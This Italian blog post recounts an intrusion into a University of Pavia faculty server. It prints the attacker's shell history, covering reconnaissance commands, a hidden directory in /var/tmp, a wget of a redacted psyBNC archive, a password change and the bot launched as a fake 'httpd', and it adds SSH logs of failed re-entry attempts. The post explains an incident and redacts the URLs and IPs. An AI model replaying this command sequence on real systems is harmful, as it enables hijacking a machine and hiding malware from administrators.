Fare l’amministratore di sistema quando la propria mansione è realizzare siti web può diventare frustrante. In particolare quando si scopre che l’Area Sistemi Informativi dell’Università di Pavia “butta giù” un server con i siti di due facoltà perché generava troppo traffico anomalo (a ragione, per carità…).

La causa di questo problema è stata una connessione proveniente dalla Romania che ha avuto come bersaglio l’utente di un docente della Facoltà di Lettere, sul server del sito della Facoltà stessa. Una volta entrato, il malintenzionato ha installato un BOT che camuffava gli indirizzi di varie connessioni in giro per la rete in modo che risultassero provenienti dall’Università di Pavia. Un concetto simile a quello che spesso si ritrova nei film, quando l’eroe di turno deve virtualmente rincorrere in giro per il mondo tutti i computer attraverso i quali l’hacker è passato per offuscare la sua vera provenienza.

In particolare i comandi eseguiti sono stati i seguenti:

   15  uname -a
   16  ps x
   17  cat /proc/cpuinfo
   18  /sbin/ifconfig | grep inet
   19  cat /etc/hosts
   20  cd /var/tmp
   21  ls -a
   22  mkdir .core
   23  cd .core
   24  wget [omissis]
   25  tar xzvf [omissis]
   26  rm -rf [omissis]
   27  cd psybnc
   28  passwd
   29  ls -a
   30  chmod +x *
   31  ./httpd
   32  exit

Per i più inesperti, si può dire che il comando della riga 15 fornisce la versione di Linux installata, la 17 offre informazioni sul processore, la 18 sulle impostazioni di rete. Il comando 24 scarica il software da installare (che non ho scritto per evitare di dare spunti ai novizi hacker e per non finire nelle blacklist) e il 31 lo avvia, chiamandolo httpd per confonderlo con il server web così da dare meno nell’occhio e rendere più difficile l’identificazione da parte dell’amministratore.

Il comando 28 banalmente cambia la password per evitare che l’utente legittimo possa entrare.

Una volta che ho trovato e corretto il problema, il malintenzionato ha tentato di entrare nuovamente nella macchina, così come mostrato nei log di autenticazione:

Jul  8 15:10:36 studenti sshd[4751]: reverse mapping checking getaddrinfo for [omissis].rdsnet.ro [omissis] failed - POSSIBLE BREAK-IN ATTEMPT!
Jul  8 15:10:38 studenti sshd[4751]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=[omissis]  user=seth
Jul  8 15:10:41 studenti sshd[4751]: Failed password for seth from [omissis] port 1118 ssh2
Jul  8 15:10:53 studenti last message repeated 2 times
Jul  8 15:10:54 studenti sshd[4751]: PAM 2 more authentication failures; logname= uid=0 euid=0 tty=ssh ruser= rhost=[omissis]  user=seth

Avevo ovviamente disabilitato l’utente appena notato il problema. L’amico rumeno dovrà quindi trovarsi un altro server per giocare al piccolo hacker.